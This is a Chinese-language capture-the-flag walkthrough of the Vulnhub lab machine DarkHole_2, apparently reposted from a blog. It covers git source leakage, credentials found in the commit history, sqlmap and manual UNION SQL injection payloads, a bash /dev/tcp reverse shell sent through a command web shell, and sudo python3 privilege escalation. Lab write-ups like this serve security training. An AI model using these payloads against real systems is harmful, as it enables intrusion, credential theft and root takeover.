下載好DarkHole_2后，用VMware打開，開始：
首先探測靶機地址：arp-scan -l

可以看到我的IP：192.168.1.104
靶機IP：192.168.1.105
先埠掃描一波吧：nmap -T4 -A -v -p- 192.168.1.105
開啟了22、80埠

訪問80埠，只有一個登陸頁面，

嘗試了一下萬能密碼啥的，沒用，但是仔細觀察nmap掃描結果，可以發現存在/.git/目錄，也就意味著存在原始碼泄露，首先想到的是利用GitHack，

下載GitHack：git clone https://github.com/lijiejie/GitHack.git
使用python GitHack.py http://192.168.1.105/.git 即可原始碼下載到本地，（GitHack是一個.git泄露利用測驗腳本，通過泄露的檔案，還原重建工程源代碼）

在這里，通過翻看檔案，可以發現幾個點：
/config/config.php：里面存在一條MySQL相關的陳述句

index.php：在這里面發現了一個熟悉的".php?id="，去瀏覽器訪問一下

無權限

到這里思路卡住了，參考了別的文章發現，/.git 原始碼泄露的利用方式，如果采用GitHack的話，在某些情況下會不太實用，
★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★
使用 wget 下載 git 存盤庫，
wget -r http://192.168.1.105/.git

下載了 .git 目錄后，使用git clone . webapp 命令會將該目錄創建一個webapp的原始碼檔案，可以在其中執行所有 git 操作，

在創建的webapp檔案下使用git log ，發現在git日志當中存在修改記錄，切換到該條記錄下，在login.php檔案當中發現了一個用戶名和密碼：

去登陸頁面：[email protected]/321 ，登錄成功

在這里熟悉的.php?id= 又出現了，在本地就直接上sqlmap一把梭，在F12去獲取一下cookie：

python sqlmap.py -u "http://192.168.1.105/dashboard.php?id=1" --cookie="PHPSESSID=m3sobdta513vnj0b5m8aplbr7h" --batch
可以發現，是存在注入的

跑一下資料庫和表：

存在兩個表ssh和users，都--dump一下：python sqlmap.py -u "http://192.168.1.105/dashboard.php?id=1" --cookie="PHPSESSID=m3sobdta513vnj0b5m8aplbr7h" --batch -D darkhole_2 -T ssh --dump

只有ssh存在的資訊是有用的：ssh [email protected]

連接成功，查一下相關資訊，并準備提權：

存在python3 ，先使用一波：python3 -c 'import os; os.setuid(0); os.system("/bin/sh")' ，但是失敗了

準備嘗試查找SUID檔案，但是沒有可用的
find / -user root -perm -4000 -print 2>/dev/null

查看定時任務：cat /etc/crontab

定時任務存在一個9999埠的web服務，訪問一下是連接失敗的

嘗試把這個9999埠轉發到本地
ssh -L 9999:127.0.0.1:9999 [email protected]

查看對應目錄下的檔案： cd /opt/web ，發現是一個cmd馬

并且是可以執行的

在建立一個反向shell ，本地 nc -nlvp 4444 監聽4444埠
shell payload如下：bash -c 'bash -i >& /dev/tcp/192.168.1.104/4444 0>&1'

由于是通過Get方式執行payload，于是采用url編碼一下：
bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.104%2F4444%200%3E%261%27

監聽成功：

嘗試python獲取互動式shell：python3 -c 'import pty;pty.spawn("/bin/bash")'

查看了一番，在歷史檔案 .bash_history 當中發現了一個密碼：more ~/.bash_history ————————————losy:gang

查看一下用戶權限：sudo -l

存在（root）/usr/bin/python3
利用一下：（這里最開始忘了加上 sudo ，，，，）
sudo python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
or
sudo python3 -c 'import os; os.system("/bin/bash")'

提權成功

★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★

補一下手工sql注入程序，copy
1】列數
id=1' ORDER BY 6 -- -
id=1' ORDER BY 7 -- -

This gives an error suggesting the 7th column doesn't exist

2】回顯點
id=NULL' UNION ALL SELECT 1,2,3,4,5,6 -- -

3】資料庫名稱
NULL' UNION ALL SELECT 1,GROUP_CONCAT(schema_name),3,4,5,6 FROM information_schema.schemata -- -

4】表名
id=NULL' UNION ALL SELECT 1,GROUP_CONCAT(table_name),3,4,5,6 FROM information_schema.tables WHERE table_schema='darkhole_2'-- -

5】列名
id=NULL' UNION ALL SELECT 1,GROUP_CONCAT(column_name),3,4,5,6 FROM information_schema.columns WHERE table_name='ssh'-- -

6】獲取表資訊
id=NULL' UNION ALL SELECT 1,user,pass,4,5,6 FROM ssh-- -

轉載請註明出處，本文鏈接：https://www.uj5u.com/qita/297997.html

標籤：其他

上一篇：【資料結構】二叉樹 & 堆 & 堆的實作

下一篇：任意檔案讀取與下載漏洞

Vulnhub——DarkHole_2

This gives an error suggesting the 7th column doesn't exist